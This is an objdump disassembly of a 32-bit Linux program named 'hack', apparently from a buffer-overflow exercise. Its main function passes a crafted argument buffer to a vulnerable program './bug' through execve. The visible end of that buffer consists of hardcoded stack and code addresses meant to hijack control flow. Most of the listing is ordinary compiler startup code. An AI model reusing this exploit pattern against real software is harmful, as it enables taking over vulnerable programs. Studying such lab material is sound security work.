
hack：     文件格式 elf32-i386


Disassembly of section .init:

08049000 <_init>:
 8049000:	53                   	push   %ebx
 8049001:	83 ec 08             	sub    $0x8,%esp
 8049004:	e8 97 00 00 00       	call   80490a0 <__x86.get_pc_thunk.bx>
 8049009:	81 c3 f7 2f 00 00    	add    $0x2ff7,%ebx
 804900f:	8b 83 fc ff ff ff    	mov    -0x4(%ebx),%eax
 8049015:	85 c0                	test   %eax,%eax
 8049017:	74 02                	je     804901b <_init+0x1b>
 8049019:	ff d0                	call   *%eax
 804901b:	83 c4 08             	add    $0x8,%esp
 804901e:	5b                   	pop    %ebx
 804901f:	c3                   	ret    

Disassembly of section .plt:

08049020 <.plt>:
 8049020:	ff 35 04 c0 04 08    	pushl  0x804c004
 8049026:	ff 25 08 c0 04 08    	jmp    *0x804c008
 804902c:	00 00                	add    %al,(%eax)
	...

08049030 <__libc_start_main@plt>:
 8049030:	ff 25 0c c0 04 08    	jmp    *0x804c00c
 8049036:	68 00 00 00 00       	push   $0x0
 804903b:	e9 e0 ff ff ff       	jmp    8049020 <.plt>

08049040 <execve@plt>:
 8049040:	ff 25 10 c0 04 08    	jmp    *0x804c010
 8049046:	68 08 00 00 00       	push   $0x8
 804904b:	e9 d0 ff ff ff       	jmp    8049020 <.plt>

Disassembly of section .text:

08049050 <_start>:
 8049050:	31 ed                	xor    %ebp,%ebp
 8049052:	5e                   	pop    %esi
 8049053:	89 e1                	mov    %esp,%ecx
 8049055:	83 e4 f0             	and    $0xfffffff0,%esp
 8049058:	50                   	push   %eax
 8049059:	54                   	push   %esp
 804905a:	52                   	push   %edx
 804905b:	e8 23 00 00 00       	call   8049083 <_start+0x33>
 8049060:	81 c3 a0 2f 00 00    	add    $0x2fa0,%ebx
 8049066:	8d 83 10 d2 ff ff    	lea    -0x2df0(%ebx),%eax
 804906c:	50                   	push   %eax
 804906d:	8d 83 b0 d1 ff ff    	lea    -0x2e50(%ebx),%eax
 8049073:	50                   	push   %eax
 8049074:	51                   	push   %ecx
 8049075:	56                   	push   %esi
 8049076:	c7 c0 62 91 04 08    	mov    $0x8049162,%eax
 804907c:	50                   	push   %eax
 804907d:	e8 ae ff ff ff       	call   8049030 <__libc_start_main@plt>
 8049082:	f4                   	hlt    
 8049083:	8b 1c 24             	mov    (%esp),%ebx
 8049086:	c3                   	ret    
 8049087:	66 90                	xchg   %ax,%ax
 8049089:	66 90                	xchg   %ax,%ax
 804908b:	66 90                	xchg   %ax,%ax
 804908d:	66 90                	xchg   %ax,%ax
 804908f:	90                   	nop

08049090 <_dl_relocate_static_pie>:
 8049090:	c3                   	ret    
 8049091:	66 90                	xchg   %ax,%ax
 8049093:	66 90                	xchg   %ax,%ax
 8049095:	66 90                	xchg   %ax,%ax
 8049097:	66 90                	xchg   %ax,%ax
 8049099:	66 90                	xchg   %ax,%ax
 804909b:	66 90                	xchg   %ax,%ax
 804909d:	66 90                	xchg   %ax,%ax
 804909f:	90                   	nop

080490a0 <__x86.get_pc_thunk.bx>:
 80490a0:	8b 1c 24             	mov    (%esp),%ebx
 80490a3:	c3                   	ret    
 80490a4:	66 90                	xchg   %ax,%ax
 80490a6:	66 90                	xchg   %ax,%ax
 80490a8:	66 90                	xchg   %ax,%ax
 80490aa:	66 90                	xchg   %ax,%ax
 80490ac:	66 90                	xchg   %ax,%ax
 80490ae:	66 90                	xchg   %ax,%ax

080490b0 <deregister_tm_clones>:
 80490b0:	b8 68 c0 04 08       	mov    $0x804c068,%eax
 80490b5:	3d 68 c0 04 08       	cmp    $0x804c068,%eax
 80490ba:	74 24                	je     80490e0 <deregister_tm_clones+0x30>
 80490bc:	b8 00 00 00 00       	mov    $0x0,%eax
 80490c1:	85 c0                	test   %eax,%eax
 80490c3:	74 1b                	je     80490e0 <deregister_tm_clones+0x30>
 80490c5:	55                   	push   %ebp
 80490c6:	89 e5                	mov    %esp,%ebp
 80490c8:	83 ec 14             	sub    $0x14,%esp
 80490cb:	68 68 c0 04 08       	push   $0x804c068
 80490d0:	ff d0                	call   *%eax
 80490d2:	83 c4 10             	add    $0x10,%esp
 80490d5:	c9                   	leave  
 80490d6:	c3                   	ret    
 80490d7:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 80490de:	66 90                	xchg   %ax,%ax
 80490e0:	c3                   	ret    
 80490e1:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 80490e8:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 80490ef:	90                   	nop

080490f0 <register_tm_clones>:
 80490f0:	b8 68 c0 04 08       	mov    $0x804c068,%eax
 80490f5:	2d 68 c0 04 08       	sub    $0x804c068,%eax
 80490fa:	89 c2                	mov    %eax,%edx
 80490fc:	c1 e8 1f             	shr    $0x1f,%eax
 80490ff:	c1 fa 02             	sar    $0x2,%edx
 8049102:	01 d0                	add    %edx,%eax
 8049104:	d1 f8                	sar    %eax
 8049106:	74 20                	je     8049128 <register_tm_clones+0x38>
 8049108:	ba 00 00 00 00       	mov    $0x0,%edx
 804910d:	85 d2                	test   %edx,%edx
 804910f:	74 17                	je     8049128 <register_tm_clones+0x38>
 8049111:	55                   	push   %ebp
 8049112:	89 e5                	mov    %esp,%ebp
 8049114:	83 ec 10             	sub    $0x10,%esp
 8049117:	50                   	push   %eax
 8049118:	68 68 c0 04 08       	push   $0x804c068
 804911d:	ff d2                	call   *%edx
 804911f:	83 c4 10             	add    $0x10,%esp
 8049122:	c9                   	leave  
 8049123:	c3                   	ret    
 8049124:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8049128:	c3                   	ret    
 8049129:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

08049130 <__do_global_dtors_aux>:
 8049130:	80 3d 65 c0 04 08 00 	cmpb   $0x0,0x804c065
 8049137:	75 17                	jne    8049150 <__do_global_dtors_aux+0x20>
 8049139:	55                   	push   %ebp
 804913a:	89 e5                	mov    %esp,%ebp
 804913c:	83 ec 08             	sub    $0x8,%esp
 804913f:	e8 6c ff ff ff       	call   80490b0 <deregister_tm_clones>
 8049144:	c6 05 65 c0 04 08 01 	movb   $0x1,0x804c065
 804914b:	c9                   	leave  
 804914c:	c3                   	ret    
 804914d:	8d 76 00             	lea    0x0(%esi),%esi
 8049150:	c3                   	ret    
 8049151:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 8049158:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi
 804915f:	90                   	nop

08049160 <frame_dummy>:
 8049160:	eb 8e                	jmp    80490f0 <register_tm_clones>

08049162 <main>:
    "\x28\xfe\xff\xbf"
	"\x9c\x91\x04\x08"
	"\xd9\x91\x04\x08";

int main(void)
{
 8049162:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 8049166:	83 e4 f0             	and    $0xfffffff0,%esp
 8049169:	ff 71 fc             	pushl  -0x4(%ecx)
 804916c:	55                   	push   %ebp
 804916d:	89 e5                	mov    %esp,%ebp
 804916f:	51                   	push   %ecx
 8049170:	83 ec 14             	sub    $0x14,%esp
    char *arg[3];
    arg[0]= "./bug";
 8049173:	c7 45 ec 08 a0 04 08 	movl   $0x804a008,-0x14(%ebp)
    arg[1]=code;
 804917a:	c7 45 f0 40 c0 04 08 	movl   $0x804c040,-0x10(%ebp)
    arg[2]=NULL;
 8049181:	c7 45 f4 00 00 00 00 	movl   $0x0,-0xc(%ebp)
    execve(arg[0], arg, NULL);
 8049188:	8b 45 ec             	mov    -0x14(%ebp),%eax
 804918b:	83 ec 04             	sub    $0x4,%esp
 804918e:	6a 00                	push   $0x0
 8049190:	8d 55 ec             	lea    -0x14(%ebp),%edx
 8049193:	52                   	push   %edx
 8049194:	50                   	push   %eax
 8049195:	e8 a6 fe ff ff       	call   8049040 <execve@plt>
 804919a:	83 c4 10             	add    $0x10,%esp
    return 0;
 804919d:	b8 00 00 00 00       	mov    $0x0,%eax
}
 80491a2:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 80491a5:	c9                   	leave  
 80491a6:	8d 61 fc             	lea    -0x4(%ecx),%esp
 80491a9:	c3                   	ret    
 80491aa:	66 90                	xchg   %ax,%ax
 80491ac:	66 90                	xchg   %ax,%ax
 80491ae:	66 90                	xchg   %ax,%ax

080491b0 <__libc_csu_init>:
 80491b0:	55                   	push   %ebp
 80491b1:	e8 5b 00 00 00       	call   8049211 <__x86.get_pc_thunk.bp>
 80491b6:	81 c5 4a 2e 00 00    	add    $0x2e4a,%ebp
 80491bc:	57                   	push   %edi
 80491bd:	56                   	push   %esi
 80491be:	53                   	push   %ebx
 80491bf:	83 ec 0c             	sub    $0xc,%esp
 80491c2:	89 eb                	mov    %ebp,%ebx
 80491c4:	8b 7c 24 28          	mov    0x28(%esp),%edi
 80491c8:	e8 33 fe ff ff       	call   8049000 <_init>
 80491cd:	8d 9d 10 ff ff ff    	lea    -0xf0(%ebp),%ebx
 80491d3:	8d 85 0c ff ff ff    	lea    -0xf4(%ebp),%eax
 80491d9:	29 c3                	sub    %eax,%ebx
 80491db:	c1 fb 02             	sar    $0x2,%ebx
 80491de:	74 25                	je     8049205 <__libc_csu_init+0x55>
 80491e0:	31 f6                	xor    %esi,%esi
 80491e2:	8d b6 00 00 00 00    	lea    0x0(%esi),%esi
 80491e8:	83 ec 04             	sub    $0x4,%esp
 80491eb:	57                   	push   %edi
 80491ec:	ff 74 24 2c          	pushl  0x2c(%esp)
 80491f0:	ff 74 24 2c          	pushl  0x2c(%esp)
 80491f4:	ff 94 b5 0c ff ff ff 	call   *-0xf4(%ebp,%esi,4)
 80491fb:	83 c6 01             	add    $0x1,%esi
 80491fe:	83 c4 10             	add    $0x10,%esp
 8049201:	39 f3                	cmp    %esi,%ebx
 8049203:	75 e3                	jne    80491e8 <__libc_csu_init+0x38>
 8049205:	83 c4 0c             	add    $0xc,%esp
 8049208:	5b                   	pop    %ebx
 8049209:	5e                   	pop    %esi
 804920a:	5f                   	pop    %edi
 804920b:	5d                   	pop    %ebp
 804920c:	c3                   	ret    
 804920d:	8d 76 00             	lea    0x0(%esi),%esi

08049210 <__libc_csu_fini>:
 8049210:	c3                   	ret    

08049211 <__x86.get_pc_thunk.bp>:
 8049211:	8b 2c 24             	mov    (%esp),%ebp
 8049214:	c3                   	ret    

Disassembly of section .fini:

08049218 <_fini>:
 8049218:	53                   	push   %ebx
 8049219:	83 ec 08             	sub    $0x8,%esp
 804921c:	e8 7f fe ff ff       	call   80490a0 <__x86.get_pc_thunk.bx>
 8049221:	81 c3 df 2d 00 00    	add    $0x2ddf,%ebx
 8049227:	83 c4 08             	add    $0x8,%esp
 804922a:	5b                   	pop    %ebx
 804922b:	c3                   	ret    
